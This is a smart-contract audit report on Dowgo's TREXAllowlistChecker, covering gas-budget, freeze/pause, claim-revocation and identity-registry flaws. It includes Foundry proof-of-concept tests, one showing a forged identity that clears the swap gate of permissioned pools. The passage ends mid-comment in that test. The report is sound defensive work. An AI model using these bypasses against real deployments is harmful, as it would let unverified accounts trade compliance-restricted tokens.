

Dowgo TREX Allowlist Checker Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Dacian

InfiniteSec

October 8, 2026

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risk Classification **2**

4 Protocol Summary **2**

5 Audit Scope **2**

6 Executive Summary **2**
6.1 External Dependency Risks . . . 3

7 Findings **5**
7.1 Medium Risk . . . 5
7.1.1 `TREXAllowlistChecker::probeLpClaim` fixed 200k `LP_PROBE_GAS` budget exhausts before it can finish validating a high-index claim, silently stripping `LIQUIDITY_ALLOWED` from LPs whose valid claim sits past the budget . . . 5
7.1.2 `IdentityRegistry::isVerified` in ERC-3643 v4.1.3 validates a claim against the issuer the tuple names rather than the trusted issuer its id came from, so an agent-registered custom identity clears the swap gate while the checker's own LP path rejects the same identity . . . 13
7.1.3 Frozen accounts and paused tokens keep trading through permissioned pools when the adapter is a net-zero intermediate currency . . . 20
7.1.4 A trusted issuer that answers successfully with data the ABI decoder rejects aborts the entire claim scan uncaught, destroying an honest issuer's independently valid claim . . . 29
7.1.5 `ClaimIssuer::revokeClaim` reads the signature to revoke from the untrusted OnchainID, so an issuer's revocation succeeds on-chain while `LIQUIDITY_ALLOWED` survives . . . 34
7.2 Low Risk . . . 40
7.2.1 Unbounded swap-side verification lets an earlier claim issuer suppress later valid claims and consume nearly all supplied gas, contradicting the `README.md` blast radius . . . 40
7.2.2 `TREXAllowlistChecker::checkAllowlist` runs the full LP probe on the swap path and discards the result, an observed upper-bound delta of ~182k gas per `beforeSwap` . . . 43
7.2.3 An issuer that burns gas instead of reverting aborts the entire claim scan, destroying an honest issuer's independently valid claim . . . 52
7.2.4 The released ONCHAINID `ClaimIssuer` keys revocation on malleable signature bytes, so a revoked LP claim can be restored up to four times; testing against the hardened, unreleased upstream `main` hides it . . . 55
7.3 Informational . . . 62
7.3.1 README understates the authority of a token-controlled identity registry . . . 62

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the in-scope code being audited. Unless the scope explicitly notes otherwise, the review is limited to the application layer and does not extend to the correctness of API/SDK/execution environment implementations, compilers, standard and third-party libraries, underlying operating systems and hardware.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

`TREXAllowlistChecker` is the on-chain bridge that lets an ERC-3643 (T-REX) permissioned token trade inside a Uniswap v4 PermissionedPools pool, translating the token's on-chain identity verification into the permission flags the pool's hook enforces. An account may swap when the token's `IdentityRegistry` reports it as fully verified, and additionally receives the liquidity flag when its `OnchainID` holds a valid claim on the LP claim topic the checker was deployed for, with claim validity re-derived through the token's `TrustedIssuersRegistry` rather than taken from the identity's self-reported record.

The protocol is a single stateless, view-only Solidity contract, deployed once per LP claim topic (`LP_CLAIM_TOPIC` is fixed at construction) and wired into pools through Uniswap's official `PermissionsAdapter` and `PermissionedHooks`, running inside the `PoolManager`'s `beforeSwap` and `beforeAddLiquidity` callbacks; it is designed against Uniswap's official PermissionedPools deployment and fork-tested against that deployment's Sepolia contracts. The checker custodies nothing: it holds no funds, keeps no state, and has no owner or admin surface; the wrapped token's own registry chain is the system's trust root.

5 Audit Scope

The audit scope was limited to:

```
src/TREXAllowlistChecker.sol
```

6 Executive Summary

Over the course of 2 days, the Cyfrin team conducted an audit on the TREX Allowlist Checker code provided by Dowgo. The findings consist of 5 Medium & 4 Low severity issues with the remainder being informational.

6.1 External Dependency Risks

The contract which was audited `src/TREXAllowlistChecker.sol` is just a small piece of glue between 2 external dependencies, UniswapV4 Permissioned Pools & ERC-3643 (T-REX Protocol).

These two dependencies have starkly constrasting security profiles:

- UniswapV4 Core & Periphery are heavily audited & the Permissioned Pools component itself has two very recent audits
- Uniswap runs a $15.5M Bug Bounty program to incentivize security researchers to probe its code looking for bugs

In contrast, ERC-3643 and its associated library onchain-id has:

- only one publicly available audit report for each repo 1, 2 from 3.5 years ago which is woefully lacking especially since attack methodologies have evolved significantly
- no bug bounty program hence security researchers are not incentivized to probe its code looking for bugs
- continued making active changes 1, 2 which don't appear to be covered by any publicly available audit report

During our 2-day audit we identified and reported two bugs 1, 2 in ERC-3643 and its associated onchain-id library that impacted `TREXAllowlistChecker.sol`, and found a third bug in onchain-id which had been fixed in the upstream repo but whose fix was not part of any official release.

With ERC-3643's current lacking security posture, integrating or depending on it is a risky proposition. To improve its security posture, ERC-3643 should:

- fix the reported bugs for ERC-3643 and onchain-id
- created a new stable release then perform audits of that release
- establish a bug bounty program to incentivize security researchers to probe its code

Summary

Project Name	TREX Allowlist Checker
Repository	permissioned-erc3643
Commit	7d154dbea491...
Fix Commit	df0019823b6c...
Audit Timeline	Sep 8th - Sep 9th, 2026
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	5
Low Risk	4
Informational	1
Gas Optimizations	0
Total Issues	10

Summary of Findings

[M-1] `TREXAllowlistChecker::probeLpClaim` fixed 200k `LP_PROBE_GAS` budget exhausts before it can finish validating a high-index claim, silently stripping `LIQUIDITY_ALLOWED` from LPs whose valid claim sits past the budget	Resolved
[M-2] `IdentityRegistry::isVerified` in ERC-3643 v4.1.3 validates a claim against the issuer the tuple names rather than the trusted issuer its id came from, so an agent-registered custom identity clears the swap gate while the checker's own LP path rejects the same identity	Acknowledged
[M-3] Frozen accounts and paused tokens keep trading through permissioned pools when the adapter is a net-zero intermediate currency	Resolved
[M-4] A trusted issuer that answers successfully with data the ABI decoder rejects aborts the entire claim scan uncaught, destroying an honest issuer's independently valid claim	Resolved
[M-5] `ClaimIssuer::revokeClaim` reads the signature to revoke from the untrusted OnchainID, so an issuer's revocation succeeds on-chain while `LIQUIDITY_ALLOWED` survives	Acknowledged
[L-1] Unbounded swap-side verification lets an earlier claim issuer suppress later valid claims and consume nearly all supplied gas, contradicting the `README.md` blast radius	Acknowledged
[L-2] `TREXAllowlistChecker::checkAllowlist` runs the full LP probe on the swap path and discards the result, an observed upper-bound delta of ~182k gas per `beforeSwap`	Acknowledged
[L-3] An issuer that burns gas instead of reverting aborts the entire claim scan, destroying an honest issuer's independently valid claim	Resolved
[L-4] The released ONCHAINID `ClaimIssuer` keys revocation on malleable signature bytes, so a revoked LP claim can be restored up to four times; testing against the hardened, unreleased upstream `main` hides it	Resolved
[I-1] README understates the authority of a token-controlled identity registry	Resolved

7 Findings

7.1 Medium Risk

7.1.1 TREXAllowlistChecker::probeLpClaim fixed 200k LP_PROBE_GAS budget exhausts before it can finish validating a high-index claim, silently stripping LIQUIDITY_ALLOWED from LPs whose valid claim sits past the budget

Description: TREXAllowlistChecker::checkAllowlist confines the entire LP decision in one fixed gas frame - try this.probeLpClaim{gas: LP_PROBE_GAS} with LP_PROBE_GAS = 200_000 - and discards every failure of that frame in an empty catch.

probeLpClaim iterates over the return of ITREXTrustedIssuersRegistry::getTrustedIssuersForClaimTopic in array order and returns on the first valid claim, paying a full ITREXIdentity::getClaim round trip and a six-component ABI decode for every earlier-index issuer.

Measured against the real OnchainID Identity and ClaimIssuer runtime behind mocked registries, on direct checkAllowlist / probeLpClaim calls, a trusted issuer costs about 19,745 gas of scan (deltas across a one-to-seven-issuer sweep run 19,719 to 19,763). With the LP's claim on the last issuer the uncapped probe costs 184,455 gas at seven issuers and the flag is granted; at eight it costs 204,200 and the flag is silently withheld.

The in-code comment sizing the constant assumes "typically 1-3" issuers at roughly 15k each. The 19,745 above is not even that quantity - it is the cost of an issuer the scan merely walks past, without the ecrecover the comment prices in - and it already exceeds the estimate.

Impact: An LP whose valid claim sits past the point the budget reaches does not receive PermissionFlags.LIQUIDITY_ALLOWED. The failure is position-dependent, and unrelated registry administration reorders the array:

- TrustedIssuersRegistry::removeTrustedIssuer swap-and-pops, so an LP's flag can flip without anything about that LP changing
- TrustedIssuersRegistry::updateIssuerClaimTopics removes and re-appends the issuer, so it can move a previously reachable valid issuer to the end and flip the LP from allowed to denied without any change to the claim

ERC-3643 v4.1.3 TrustedIssuersRegistry allows up to 50 issuers, but the reachable set is roughly 7 for an LP whose claim sits last. An early-index claim is unaffected at any size.

Proof of Concept: LpProbeGasBudgetTest below drives checkAllowlist and probeLpClaim directly and asserts the failure: liquidity is granted up to seven trusted issuers and denied from eight; the uncapped probe finds the claim valid at every size, so the enforced outcome follows the 200,000 budget rather than validity, and the two disagree from eight issuers up; and on a twenty-issuer topic only a low-index claim survives - indices 0 to 5 are granted, index 6 onwards is denied. Growing the list to eight is a normal operation, well inside the dependency's 50-issuer allowance.

Two things the test does not reproduce. The hook's Unauthorized revert is derived from PermissionedHooks::_verifyAllowlist - the test asserts the missing LIQUIDITY_ALLOWED bit that causes it, not the revert. And the per-stage figures behind the threshold are in the -vvvv trace rather than the -vv output: at eight issuers the walk past the seven earlier issuers costs about 164,000 of the 200,000, the matching iteration needs about 39,900 more, so isClaimValid is handed only 17,005 gas and exhausts it. The per-issuer catch absorbs that, so probeLpClaim returns false with 199,865 of its 200,000 spent and checkAllowlist's try succeeds with no claim; the outer catch takes over only from nine issuers up.

```
forge test --match-path test/DOWGO-pocs/LpProbeGasBudget.t.sol --isolate -vv
```

--isolate is required: the test writes its fixtures in the same transaction as the measured call, so without it the registry slots are already warm under EIP-2929 and each issuer costs about 2,000 gas less. Foundry 1.8 enables isolation by default; earlier versions do not.

It imports test/DOWGO-pocs/OidBytecode.sol, a small library holding the creation bytecode of the real OnchainID Identity and ClaimIssuer. Those sources pin pragma solidity 0.8.17 and cannot compile under this project's

0.8.26, which is why compiled bytecode is used rather than the sources. The two blobs run to roughly 48KB, so the file is not reproduced in full here - build it with the shape below, pasting in your own compiler output. Its header carries the exact regeneration steps:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/// @notice Creation bytecode of the REAL OnchainID Identity / ClaimIssuer contracts,
///         compiled from external-dependencies/onchain-id with solc 0.8.17 (optimizer, 200 runs,
///         evm_version = london). Embedded because those sources pin `pragma solidity 0.8.17`
///         and cannot compile under this project's pinned 0.8.26.
///
///         London, not cancun: solc gained Paris in 0.8.18 and Cancun in 0.8.24, so 0.8.17's newest
///         target is London. Foundry accepts evm_version = "cancun" here and silently clamps, which
///         records london in the compiler metadata regardless - naming it explicitly is what makes
///         the regeneration below reproducible across Foundry versions.
///
///         Regenerate with:
///           mkdir -p /tmp/oid/src && cp -R external-dependencies/onchain-id/contracts/* /tmp/oid/src/
///           rm -rf /tmp/oid/src/{gateway,proxy,verifiers,factory,_testContracts,Test.sol}
///           # /tmp/oid/foundry.toml: src="src" out="out" solc_version="0.8.17" evm_version="london"
///           #                        optimizer=true optimizer_runs=200
///           cd /tmp/oid && forge build
///         then take .bytecode.object from out/Identity.sol/Identity.json and
///         out/ClaimIssuer.sol/ClaimIssuer.json.
library OidBytecode {
    /// @dev Identity.sol:Identity -- constructor args must be appended by the caller.
    function identityCreation() internal pure returns (bytes memory) {
        return hex"<paste .bytecode.object here, 0x stripped>";
    }

    /// @dev ClaimIssuer.sol:ClaimIssuer -- constructor args must be appended by the caller.
    function claimissuerCreation() internal pure returns (bytes memory) {
        return hex"<paste .bytecode.object here, 0x stripped>";
    }

}
```

Save it as `test/DOWGO-pocs/LpProbeGasBudget.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// PoCs for two TREXAllowlistChecker findings, measured against the REAL OnchainID
// Identity / ClaimIssuer runtime (solc 0.8.17 artifacts embedded in OidBytecode.sol),
// not against simplified mocks:
//
//   1. test_swapPathPaysForDiscardedLpProbe
//      beforeSwap only consults SWAP_ALLOWED (PermissionedHooks._isAllowed:143-149) yet
//      checkAllowlist always runs probeLpClaim -> ~182k gas burned per call for a result
//      the hook discards. Runs twice on a swap that pays the permissioned currency
//      (PermissionedV4Router._pay:36 + the hook), once on one that only buys it.
//
//   2. test_gasPerIssuer / test_probeFrameCostOnly / test_positionInIssuerArrayDecidesOutcome
//      LP_PROBE_GAS = 200_000 is exceeded at 8 trusted issuers (19,745 gas/issuer), silently
//      stripping LIQUIDITY_ALLOWED from LPs holding a valid, non-revoked claim. Outcome also
//      depends on the claim issuer's INDEX in getTrustedIssuersForClaimTopic(), which
//      updateIssuerClaimTopics mutates by re-pushing the issuer to the end of the array.

import {Test, console2} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
```

```
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {OidBytecode} from "./OidBytecode.sol";

import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PermissionsAdapter} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapter.sol";
import {
    PermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapterFactory.sol";
import {PermissionedHooks} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionedHooks.sol";
import {
    IPermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/interfaces/IPermissionsAdapterFactory.sol";
import {HookMiner} from "@uniswap/v4-periphery/src/utils/HookMiner.sol";

interface IId {
    function addKey(bytes32 k, uint256 p, uint256 t) external returns (bool);
    function addClaim(
        uint256 topic,
        uint256 scheme,
        address issuer,
        bytes memory sig,
        bytes memory data,
        string memory uri
    ) external returns (bytes32);
}

contract MockTIR {
    mapping(uint256 => address[]) private byTopic;

    function add(uint256 topic, address issuer) external {
        byTopic[topic].push(issuer);
    }

    function getTrustedIssuersForClaimTopic(uint256 topic) external view returns (address[] memory) {
        return byTopic[topic];
    }
}

contract MockIR {
    mapping(address => bool) public verified;
    mapping(address => address) public identityOf;
    address public issuersRegistry;

    function set(address u, bool v, address id) external {
        verified[u] = v;
        identityOf[u] = id;
    }

    function setIR(address r) external {
        issuersRegistry = r;
    }
```

```
    function isVerified(address u) external view returns (bool) {
        return verified[u];
    }

    function identity(address u) external view returns (address) {
        return identityOf[u];
    }
}

contract MockToken {
    address public identityRegistry;

    constructor(address r) {
        identityRegistry = r;
    }
}

contract TokenLite is ERC20 {
    address public immutable identityRegistry;

    constructor(address r) ERC20("T", "T") {
        identityRegistry = r;
    }

    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

contract PlainERC20 is ERC20 {
    constructor() ERC20("P", "P") {
        _mint(msg.sender, 1e24);
    }
}

contract Router {
    address public s;

    function set(address a) external {
        s = a;
    }

    function msgSender() external view returns (address) {
        return s;
    }
}

//
// 1. How probe gas scales with the number of trusted issuers for LP_CLAIM_TOPIC.
//

contract LpProbeGasBudgetTest is Test {
    uint256 constant LP_TOPIC = 42;

    TREXAllowlistChecker checker;
    MockIR ir;
    MockTIR tir;
    MockToken token;
    address alice;
    address aliceId;

    function _create(bytes memory init) internal returns (address a) {
        assembly {
```

```
            a := create(0, add(init, 0x20), mload(init))
        }
        require(a != address(0), "deploy failed");
    }

    function setUp() public {
        alice = makeAddr("alice");
        checker = new TREXAllowlistChecker(LP_TOPIC);
        ir = new MockIR();
        tir = new MockTIR();
        ir.setIR(address(tir));
        token = new MockToken(address(ir));
        aliceId = _create(abi.encodePacked(OidBytecode.identityCreation(), abi.encode(alice, false)));
        ir.set(alice, true, aliceId);
    }

    /// @dev Registers `n` real ClaimIssuers; alice's valid LP claim comes from the LAST one.
    function _setupIssuers(uint256 n) internal {
        _setupIssuersAt(n, n - 1);
    }

    function _setupIssuersAt(uint256 n, uint256 claimIdx) internal {
        for (uint256 i = 0; i < n; i++) {
            (address signer, uint256 pk) = makeAddrAndKey(string(abi.encodePacked("issuer",
            ↪  vm.toString(i))));
            address issuer = _create(abi.encodePacked(OidBytecode.claimissuerCreation(),
            ↪  abi.encode(signer)));
            tir.add(LP_TOPIC, issuer);

            if (i == claimIdx) {
                bytes memory data = hex"c0ffee";
                bytes32 dataHash = keccak256(abi.encode(aliceId, LP_TOPIC, data));
                bytes32 prefixed = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
                ↪  dataHash));
                (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, prefixed);
                vm.prank(alice);
                IId(aliceId).addClaim(LP_TOPIC, 1, issuer, abi.encodePacked(r, s, v), data, "");
            }
        }
    }

    function test_gasPerIssuer() public {
        for (uint256 n = 1; n <= 12; n++) {
            setUp();
            _setupIssuers(n);

            uint256 g0 = gasleft();
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            uint256 used = g0 - gasleft();

            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("issuers", n, "gas", used);
            console2.log("   LIQUIDITY_ALLOWED:", lp);

            // The flip: the claim is valid and last-indexed throughout, so only the budget moves
            assertEq(lp, n <= 7, "liquidity must be granted up to seven issuers and denied from eight");
        }
    }

    /// @dev Isolate the probe frame itself from checkAllowlist's fixed overhead. Also shows the
    ///      off-chain diagnostic diverging from the enforced outcome: the uncapped direct call
    ///      returns true at N=8 while checkAllowlist denies.
    function test_probeFrameCostOnly() public {
```

```
        for (uint256 n = 6; n <= 9; n++) {
            setUp();
            _setupIssuers(n);
            uint256 g0 = gasleft();
            bool r = checker.probeLpClaim(address(ir), alice);
            uint256 probeGas = g0 - gasleft();

            g0 = gasleft();
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            uint256 total = g0 - gasleft();

            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("issuers", n, "probeLpClaim gas (uncapped)", probeGas);
            console2.log("   probe returns:", r);
            console2.log("   checkAllowlist total gas:", total);
            console2.log("   LIQ granted:", lp);

            // Uncapped, the scan always completes and finds the claim valid
            assertTrue(r, "the uncapped probe always finds the claim valid");
            // Capped at LP_PROBE_GAS it does not, and the two answers diverge from eight issuers
            assertEq(lp, probeGas <= 200_000, "the enforced outcome follows the 200,000 budget, not
            ↪  validity");
            assertEq(r && !lp, n >= 8, "diagnostic and enforced outcome disagree from eight issuers");
        }
    }

    /// @dev Same LP, same valid claim, same registry -- only the issuer's INDEX in
    ///      getTrustedIssuersForClaimTopic() differs.
    function test_positionInIssuerArrayDecidesOutcome() public {
        uint256 n = 20;
        uint256[3] memory idxs = [uint256(0), 6, 19];
        for (uint256 t = 0; t < 3; t++) {
            setUp();
            _setupIssuersAt(n, idxs[t]);
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("20 issuers, valid claim from index", idxs[t]);
            console2.log("   LIQUIDITY_ALLOWED:", lp);

            // Same claim, same validity, same registry size - only the index differs
            assertEq(lp, idxs[t] == 0, "only a low-index claim survives a twenty-issuer topic");
        }
    }
}

//
// 2. What the hook actually pays for on the swap path.
//

contract SwapPathDiscardedProbeTest is Test {
    uint256 constant LP_TOPIC = 42;

    PoolManager pm;
    TREXAllowlistChecker checker;
    MockIR ir;
    MockTIR tir;
    TokenLite token;
    PermissionsAdapterFactory factory;
    PermissionsAdapter adapter;
    PermissionedHooks hook;
    Router router;
    address payment;
```

```
    address alice;
    address aliceId;

    function _create(bytes memory init) internal returns (address a) {
        assembly {
            a := create(0, add(init, 0x20), mload(init))
        }
        require(a != address(0), "deploy failed");
    }

    function setUp() public {
        alice = makeAddr("alice");
        pm = new PoolManager(address(this));
        ir = new MockIR();
        tir = new MockTIR();
        ir.setIR(address(tir));
        token = new TokenLite(address(ir));
        token.mint(address(this), 1e24);
        checker = new TREXAllowlistChecker(LP_TOPIC);

        factory = new PermissionsAdapterFactory(address(pm));
        adapter = PermissionsAdapter(factory.createPermissionsAdapter(IERC20(address(token)),
        ↪  address(this), checker));
        token.transfer(address(adapter), 1);
        factory.verifyPermissionsAdapter(address(adapter));
        adapter.updateSwappingEnabled(true);

        router = new Router();
        router.set(alice);
        adapter.updateAllowedWrapper(address(router), true);

        bytes memory cc = type(PermissionedHooks).creationCode;
        bytes memory args = abi.encode(IPoolManager(address(pm)),
        ↪  IPermissionsAdapterFactory(address(factory)));
        uint160 flags = uint160(
            Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
                | Hooks.AFTER_SWAP_FLAG
        );
        (address hookAddr, bytes32 salt) = HookMiner.find(address(this), flags, cc, args);
        hook =
            new PermissionedHooks{salt: salt}(IPoolManager(address(pm)),
            ↪  IPermissionsAdapterFactory(address(factory)));
        require(address(hook) == hookAddr, "hook mismatch");

        payment = address(new PlainERC20());

        aliceId = _create(abi.encodePacked(OidBytecode.identityCreation(), abi.encode(alice, false)));
        ir.set(alice, true, aliceId);
    }

    function _key() internal view returns (PoolKey memory k) {
        (address c0, address c1) =
            address(adapter) < payment ? (address(adapter), payment) : (payment, address(adapter));
        k = PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(c1),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
    }

    function _addIssuers(uint256 n) internal {
```

```
        for (uint256 i = 0; i < n; i++) {
            (address signer, uint256 pk) = makeAddrAndKey(string(abi.encodePacked("iss",
            ↪  vm.toString(i))));
            address issuer = _create(abi.encodePacked(OidBytecode.claimissuerCreation(),
            ↪  abi.encode(signer)));
            tir.add(LP_TOPIC, issuer);
            if (i == n - 1) {
                bytes memory data = hex"c0ffee";
                bytes32 dh = keccak256(abi.encode(aliceId, LP_TOPIC, data));
                bytes32 ph = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dh));
                (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, ph);
                vm.prank(alice);
                IId(aliceId).addClaim(LP_TOPIC, 1, issuer, abi.encodePacked(r, s, v), data, "");
            }
        }
    }

    /// @dev beforeSwap only consults SWAP_ALLOWED, yet checkAllowlist always runs the LP probe.
    function test_swapPathPaysForDiscardedLpProbe() public {
        _addIssuers(7);
        PoolKey memory k = _key();
        SwapParams memory p = SwapParams({zeroForOne: true, amountSpecified: -1e6, sqrtPriceLimitX96:
        ↪  4295128740});

        vm.prank(address(pm));
        uint256 g0 = gasleft();
        hook.beforeSwap(address(router), k, p, "");
        uint256 withProbe = g0 - gasleft();

        // Same user, but no OnchainID bound -> probe short-circuits immediately.
        ir.set(alice, true, address(0));
        vm.prank(address(pm));
        g0 = gasleft();
        hook.beforeSwap(address(router), k, p, "");
        uint256 withoutProbe = g0 - gasleft();

        console2.log("beforeSwap gas, LP probe runs :", withProbe);
        console2.log("beforeSwap gas, probe no-op   :", withoutProbe);
        console2.log("wasted on discarded LP probe  :", withProbe - withoutProbe);

        // beforeSwap reads only SWAP_ALLOWED, so everything the probe cost is discarded
        assertGt(withProbe - withoutProbe, 150_000, "the discarded probe dominates the swap gate");
    }

    /// @dev The LP flag is a function of gas available at the call site, not of on-chain
    ///      permission state. Note the hook path forwards full gas, so this is self-inflicted
    ///      only -- included to document the fail-closed direction (SWAP survives, LIQ drops).
    function test_lpFlagIsGasDependent() public {
        _addIssuers(7);
        for (uint256 g = 260_000; g >= 100_000; g -= 20_000) {
            (bool ok, bytes memory ret) = address(checker).staticcall{gas: g}(
                abi.encodeCall(TREXAllowlistChecker.checkAllowlist, (alice, address(token)))
            );
            if (!ok) {
                console2.log("gas", g, "-> outer call reverted");
                continue;
            }
            PermissionFlag f = abi.decode(ret, (PermissionFlag));
            console2.log("gas", g);
            console2.log("   SWAP:", (f & PermissionFlags.SWAP_ALLOWED) ==
            ↪  PermissionFlags.SWAP_ALLOWED);
            console2.log("   LIQ :", (f & PermissionFlags.LIQUIDITY_ALLOWED) ==
            ↪  PermissionFlags.LIQUIDITY_ALLOWED);
```

```
        }
    }
}
```

Recommended Mitigation: Size the frame from the issuer count rather than a constant, and read that count inside its own gas-bounded, length-validated frame - `getTrustedIssuersForClaimTopic` returns a dynamic `address[]`, so it cannot be read with the fixed 32-byte helper the swap path uses.

Completeness is not reachable from inside the checker: the probe also decodes a `signature`, `data` and `uri` of arbitrary length and calls arbitrary issuer code, so a count-derived budget narrows the false-denial range without closing it. The rest has to come from deployment policy - a bounded issuer count and bounded claim payloads - which the checker can document but never enforce.

Do not emit an event from the catch path. `checkAllowlist` is `public view` and is reached through `PermissionsAdapter::isAllowed`, itself `view`, so the hook path is a STATICCALL and the write would revert the pool.

Dowgo: Fixed in commit f4bc830.

Cyfrin: Verified.

7.1.2 `IdentityRegistry::isVerified` in ERC-3643 v4.1.3 validates a claim against the issuer the tuple names rather than the trusted issuer its id came from, so an agent-registered custom identity clears the swap gate while the checker's own LP path rejects the same identity

Description: `TREXAllowlistChecker::checkAllowlist` delegates the swap decision entirely to the token's `isVerified` answer. `IdentityRegistry` in ERC-3643 v4.1.3 does not make that answer trustworthy. Its verification loop derives each candidate claim id from a genuine trusted issuer, then reads the tuple back from the user-controlled OnchainID and validates it against the issuer the tuple itself names:

```
(foundClaimTopic, scheme, issuer, sig, data, ) = identity(_userAddress).getClaim(claimIds[j]);

if (foundClaimTopic == requiredClaimTopics[claimTopic]) {
    try IClaimIssuer(issuer).isClaimValid(identity(_userAddress), requiredClaimTopics[claimTopic], sig,
    ↪  data)
```

Only the topic is compared. `issuer` is never compared against the trusted issuer its claim id was derived from, so an identity that returns a tuple naming its own operator's validator earns a `true`. This is dependency code and out of scope. T-REX 3.x did compare it (`isTrustedIssuer(issuer)` with `hasClaimTopic(issuer, topic)`); the 4.x rewrite dropped the check when it began deriving claim ids from trusted issuers, which is what makes the deployed registry's generation a precondition rather than a detail.

What is in scope is the asymmetry. `probeLpClaim` enforces precisely the missing binding, skipping any claim whose `issuer != trustedIssuer`; the swap path applies none of it. `README.md` states the OnchainID is "untrusted", "user-controlled and may return a forged `issuer`/`signature`/`data` tuple". This is that forgery: the LP gate refuses it and the swap gate admits it from the same identity, inside one contract.

Impact: An account holding no attestation from any trusted issuer obtains `SWAP_ALLOWED` on every permissioned pool wrapping the token, and keeps it until an agent updates or deletes the registered identity, the registry's required topics or trusted issuers change the outcome, or the adapter owner replaces the checker or disables swapping. No liquidity rights leak - `probeLpClaim` refuses the same identity's forged LP tuple - and nothing is stolen: the attacker trades as any verified holder would. This is a compliance access-control bypass, not a drain.

What the forgery buys on the token side is narrower than the swap gate suggests. It satisfies the identity-registry check that `transfer` and `transferFrom` perform, and that check is applied to the recipient only - so what the forgery buys on the token is the ability to receive, not to send. Those functions also consult the modular compliance module, and separately the pause flag, both parties' freeze state, the unfrozen balance and the allowance, none of which derive from `isVerified` and any of which can still reject the movement. That backstop only bites where the underlying actually moves: a route that never wraps or unwraps, as described in the freeze and pause finding, never reaches the token at all.

Two preconditions bound it: the deployment runs a 4.x reference registry, and an agent registers the attacker's identity contract. `registerIdentity` applies no authenticity check to the address it is handed, and since the documented trust model already treats a user-controlled OnchainID as normal, onboarding diligence is a weaker bound than it looks.

Proof of Concept: Save as `test/DOWGO-pocs/ForgedIdentityPassesSwapGate.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/ForgedIdentityPassesSwapGate.t.sol -vv
```

Four tests pass. The forgery clears the swap gate with no trusted-issuer attestation, while the checker's own LP probe refuses the very same identity: the LP tuple is scripted to carry the required topic and name the attacker's issuer, so the probe gets past its topic comparison and is decided by the issuer binding alone. Three controls fix what that proves - a wrong-topic case confirms the loop's topic comparison is live, so the swap grant is caused by the absent issuer comparison specifically; an LP case naming the trusted issuer is accepted, so the LP refusal is the binding guard rather than an empty issuer set; and an honest holder still verifies through the same loop.

`isVerified` is transcribed statement for statement from the ERC-3643 4.1.3 source, which pins `=0.8.17` against this project's 0.8.26 and whose OpenZeppelin upgradeable dependency is not in this repository, so it cannot be compiled here at any solc version. Diff the transcription against the 4.1.3 `IdentityRegistry` before relying on it. The harness also leaves `registerIdentity` permissionless, where the real registry restricts it to an agent; that is a convenience of the fixture and not a claim about the deployed contract - the agent step remains a precondition of the finding. The contract under test, `TREXAllowlistChecker`, is the real one.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";

//
// The contract under test is the real one: src/TREXAllowlistChecker.sol, unmodified.
//
// The identity registry below is a PORT, not a mock. Its isVerified body is transcribed
// statement for statement from the ERC-3643 4.1.3 reference implementation at
// external-dependencies/ERC-3643/contracts/registry/implementation/IdentityRegistry.sol:173-222,
// which is byte-identical to the T-REX copy at
// external-dependencies/T-REX/contracts/registry/implementation/IdentityRegistry.sol.
// Diff the two bodies before trusting this test.
//
// A port is used because the ERC-3643 sources pin `pragma solidity =0.8.17` against this
